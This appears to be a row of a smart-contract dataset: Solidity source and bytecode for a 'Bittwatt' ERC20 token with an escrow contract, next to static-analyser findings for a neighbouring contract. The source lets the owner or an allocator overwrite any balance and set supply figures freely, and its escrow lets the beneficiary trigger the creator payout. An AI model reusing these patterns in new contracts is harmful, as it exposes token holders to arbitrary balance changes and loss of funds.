4a11628f55a4df523b3ef9060200160405180910390a35050565b600b805460018082019092557f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db90180546001600160a01b0319166001600160a01b0384169081179091556000908152600660209081526040808320429055600290915290205460ff16151514801590610bf157506002601454115b15610d825760066000600b60145481548110610c0f57610c0f611029565b60009182526020808320909101546001600160a01b031683528201929092526040018120546014549091600691600b90610c4b90600190610fdb565b81548110610c5b57610c5b611029565b60009182526020808320909101546001600160a01b03168352820192909252604001902054148015610cdc575060026000600b6001601454610c9d9190610fdb565b81548110610cad57610cad611029565b60009182526020808320909101546001600160a01b0316835282019290925260400190205460ff161515600114155b15610d8257604b60046000600b6001601454610cf89190610fdb565b81548110610d0857610d08611029565b60009182526020808320909101546001600160a01b03168352820192909252604001902054610d37919061103f565b60046000600b6001601454610d4c9190610fdb565b81548110610d5c57610d5c611029565b60009182526020808320909101546001600160a01b031683528201929092526040019020555b60148054906000610d9283611061565b919050555050565b6001600160a01b03821660009081526002602052604090205460ff161515600114610e4157601254811115610dce57600080fd5b6010548110610ddc57600080fd5b60135462010000900460ff16151560011415610e41576001600160a01b03821660009081526003602052604090205460ff16151560011415610e1d57600080fd5b6001600160a01b0382166000908152600360205260409020805460ff191660011790555b5050565b600060208083528351808285015260005b81811015610e7257858101830151858201604001528201610e56565b81811115610e84576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610eb157600080fd5b919050565b60008060408385031215610ec957600080fd5b610ed283610e9a565b946020939093013593505050565b600080600060608486031215610ef557600080fd5b610efe84610e9a565b9250610f0c60208501610e9a565b9150604084013590509250925092565b600060208284031215610f2e57600080fd5b5035919050565b600060208284031215610f4757600080fd5b610f5082610e9a565b9392505050565b60008060408385031215610f6a57600080fd5b610f7383610e9a565b9150610f8160208401610e9a565b90509250929050565b600181811c90821680610f9e57607f821691505b60208210811415610fbf57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082821015610fed57610fed610fc5565b500390565b6000821982111561100557611005610fc5565b500190565b600081600019048311821515161561102457611024610fc5565b500290565b634e487b7160e01b600052603260045260246000fd5b60008261105c57634e487b7160e01b600052601260045260246000fd5b500490565b600060001982141561107557611075610fc5565b506001019056fea2646970667358221220f91d019621a4ddd36013e20eec8da25977ca18d5c14ca8c7ca91f4865d12bba664736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 6,382 |
0xf53c580bc4065405bc649cc077ff4f2f28528f4b
|
pragma solidity ^0.4.18;
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: zeppelin-solidity/contracts/ownership/Claimable.sol
/**
* @title Claimable
* @dev Extension for the Ownable contract, where the ownership needs to be claimed.
* This allows the new owner to accept the transfer.
*/
contract Claimable is Ownable {
address public pendingOwner;
/**
* @dev Modifier throws if called by any account other than the pendingOwner.
*/
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
/**
* @dev Allows the current owner to set the pendingOwner address.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
/**
* @dev Allows the pendingOwner address to finalize the transfer.
*/
function claimOwnership() onlyPendingOwner public {
OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function availableSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
uint256 availableSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function availableSupply() public view returns (uint256) {
return availableSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/MintableToken.sol
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/CappedToken.sol
/**
* @title Capped token
* @dev Mintable token with a token cap.
*/
contract Token is MintableToken {
function Token() public {
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
return super.mint(_to, _amount);
}
}
// File: zeppelin-solidity/contracts/lifecycle/Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
// File: zeppelin-solidity/contracts/token/ERC20/PausableToken.sol
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
// File: contracts/Bittwatt.sol
contract EscrowContract is BasicToken {
address public creator_;
address public beneficiary_;
uint public date_;
address public token_;
function EscrowContract (address creator,address beneficiary,uint date, address token) {
creator_ = creator;
beneficiary_ = beneficiary;
date_ = date;
token_ = token;
}
function executeBeneficiary(uint amount_) public onlyBeneficiary onlyMatureEscrow {
ERC20(token_).transfer(beneficiary_,amount_);
}
function executeCreator(uint amount_) public onlyBeneficiary onlyMatureEscrow {
ERC20(token_).transfer(creator_,amount_);
}
modifier onlyBeneficiary() {
require (msg.sender == beneficiary_);
_;
}
modifier onlyMatureEscrow() {
require (date_ < block.timestamp);
_;
}
}
contract Bittwatt is Token,Claimable, PausableToken {
string public constant name = "Bittwatt";
string public constant symbol = "BWT";
uint8 public constant decimals = 18;
address public _tokenAllocator;
function Bittwatt() public Token() { // For testing purpose
pause();
}
function enableTransfers() public onlyOwner {
unpause();
}
function disableTransfers() public onlyOwner {
pause();
}
function setTokenAllocator(address _tokenAllocator) public onlyOwner {
_tokenAllocator = _tokenAllocator;
}
function allocateTokens(address _beneficiary, uint _amount) public onlyOnwerOrTokenAllocator {
balances[_beneficiary] = _amount;
}
function allocateBulkTokens(address[] _destinations, uint[] _amounts) public onlyOnwerOrTokenAllocator {
uint256 addressCount = _destinations.length;
for (uint256 i = 0; i < addressCount; i++) {
address currentAddress = _destinations[i];
uint256 balance = _amounts[i];
balances[currentAddress] = balance;
Transfer(0x0000000000000000000000000000000000000000, currentAddress, balance);
}
}
function getStatus() public view returns (uint,uint, bool,address) {
return(totalSupply_,availableSupply_, paused, owner);
}
function setTotalSupply(uint totalSupply) onlyOwner {
totalSupply_ = totalSupply;
}
function setAvailableSupply(uint availableSupply) onlyOwner {
availableSupply_ = availableSupply;
}
address[] public escrowContracts;
function createEscrow(address _beneficiary, uint _date, address _tokenAddress) public {
address escrowContract = new EscrowContract(msg.sender, _beneficiary, _date, _tokenAddress);
escrowContracts.push(escrowContract);
}
function createDate(uint _days, uint _hours, uint _minutes, uint _seconds) public view returns (uint) {
uint currentTimestamp = block.timestamp;
currentTimestamp += _seconds;
currentTimestamp += 60 * _minutes;
currentTimestamp += 3600 * _hours;
currentTimestamp += 86400 * _days;
return currentTimestamp;
}
modifier onlyOnwerOrTokenAllocator() {
require (msg.sender == owner || msg.sender == _tokenAllocator);
_;
}
}
|
0x6080604052600436106101ac576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146101b157806306fdde03146101e0578063095ea7b3146102705780631723934d146102d557806318160ddd1461030257806323b872dd1461032d578063313ce567146103b2578063364aa98d146103e35780633a67a0f6146104425780633f4ba83a1461045957806340c10f19146104705780634cff5d75146104d55780634e69d560146105185780634e71e0c8146105885780635c975abb1461059f57806366188463146105ce57806370a08231146106335780637d64bcb41461068a5780637ecc2b56146106b95780638456cb59146106e457806386ce0285146106fb5780638da5cb5b1461074857806395d89b411461079f578063a23c86c01461082f578063a9059cbb146108d8578063af35c6c71461093d578063b6d6806c14610954578063d0e2dfba146109c1578063d73dd62314610a2e578063dd62ed3e14610a93578063e30c397814610b0a578063e58dede714610b61578063f2fde38b14610bb8578063f7ea7a3d14610bfb575b600080fd5b3480156101bd57600080fd5b506101c6610c28565b604051808215151515815260200191505060405180910390f35b3480156101ec57600080fd5b506101f5610c3b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561023557808201518184015260208101905061021a565b50505050905090810190601f1680156102625780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561027c57600080fd5b506102bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c74565b604051808215151515815260200191505060405180910390f35b3480156102e157600080fd5b5061030060048036038101908080359060200190929190505050610ca4565b005b34801561030e57600080fd5b50610317610d0a565b6040518082815260200191505060405180910390f35b34801561033957600080fd5b50610398600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d14565b604051808215151515815260200191505060405180910390f35b3480156103be57600080fd5b506103c7610d46565b604051808260ff1660ff16815260200191505060405180910390f35b3480156103ef57600080fd5b5061042c60048036038101908080359060200190929190803590602001909291908035906020019092919080359060200190929190505050610d4b565b6040518082815260200191505060405180910390f35b34801561044e57600080fd5b50610457610d7d565b005b34801561046557600080fd5b5061046e610de3565b005b34801561047c57600080fd5b506104bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ea3565b604051808215151515815260200191505060405180910390f35b3480156104e157600080fd5b50610516600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f2f565b005b34801561052457600080fd5b5061052d610f91565b60405180858152602001848152602001831515151581526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200194505050505060405180910390f35b34801561059457600080fd5b5061059d610fde565b005b3480156105ab57600080fd5b506105b461117f565b604051808215151515815260200191505060405180910390f35b3480156105da57600080fd5b50610619600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611192565b604051808215151515815260200191505060405180910390f35b34801561063f57600080fd5b50610674600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111c2565b6040518082815260200191505060405180910390f35b34801561069657600080fd5b5061069f61120a565b604051808215151515815260200191505060405180910390f35b3480156106c557600080fd5b506106ce6112d2565b6040518082815260200191505060405180910390f35b3480156106f057600080fd5b506106f96112dc565b005b34801561070757600080fd5b50610746600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061139d565b005b34801561075457600080fd5b5061075d611498565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107ab57600080fd5b506107b46114be565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107f45780820151818401526020810190506107d9565b50505050905090810190601f1680156108215780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561083b57600080fd5b506108d660048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192905050506114f7565b005b3480156108e457600080fd5b50610923600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506116b4565b604051808215151515815260200191505060405180910390f35b34801561094957600080fd5b506109526116e4565b005b34801561096057600080fd5b506109bf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061174a565b005b3480156109cd57600080fd5b506109ec60048036038101908080359060200190929190505050611886565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a3a57600080fd5b50610a79600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506118c4565b604051808215151515815260200191505060405180910390f35b348015610a9f57600080fd5b50610af4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118f4565b6040518082815260200191505060405180910390f35b348015610b1657600080fd5b50610b1f61197b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b6d57600080fd5b50610b766119a1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610bc457600080fd5b50610bf9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119c7565b005b348015610c0757600080fd5b50610c2660048036038101908080359060200190929190505050611a67565b005b600460149054906101000a900460ff1681565b6040805190810160405280600881526020017f426974747761747400000000000000000000000000000000000000000000000081525081565b6000600560149054906101000a900460ff16151515610c9257600080fd5b610c9c8383611acd565b905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d0057600080fd5b8060028190555050565b6000600154905090565b6000600560149054906101000a900460ff16151515610d3257600080fd5b610d3d848484611bbf565b90509392505050565b601281565b600080429050828101905083603c028101905084610e1002810190508562015180028101905080915050949350505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dd957600080fd5b610de16112dc565b565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e3f57600080fd5b600560149054906101000a900460ff161515610e5a57600080fd5b6000600560146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f0157600080fd5b600460149054906101000a900460ff16151515610f1d57600080fd5b610f278383611f79565b905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f8b57600080fd5b80905050565b600080600080600154600254600560149054906101000a900460ff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16935093509350935090919293565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561103a57600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600560149054906101000a900460ff1681565b6000600560149054906101000a900460ff161515156111b057600080fd5b6111ba8383612144565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561126857600080fd5b600460149054906101000a900460ff1615151561128457600080fd5b6001600460146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b6000600254905090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561133857600080fd5b600560149054906101000a900460ff1615151561135457600080fd5b6001600560146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806114465750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561145157600080fd5b806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f425754000000000000000000000000000000000000000000000000000000000081525081565b600080600080600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806115a65750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156115b157600080fd5b85519350600092505b838310156116ac5785838151811015156115d057fe5b90602001906020020151915084838151811015156115ea57fe5b906020019060200201519050806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a382806001019350506115ba565b505050505050565b6000600560149054906101000a900460ff161515156116d257600080fd5b6116dc83836123d5565b905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561174057600080fd5b611748610de3565b565b600033848484611758612827565b808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001945050505050604051809103906000f080158015611817573d6000803e3d6000fd5b50905060078190806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050505050565b60078181548110151561189557fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560149054906101000a900460ff161515156118e257600080fd5b6118ec83836125f4565b905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a2357600080fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ac357600080fd5b8060018190555050565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611bfc57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611c4957600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611cd457600080fd5b611d25826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127f090919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611db8826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461280990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e8982600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127f090919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611fd757600080fd5b600460149054906101000a900460ff16151515611ff357600080fd5b612044826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffff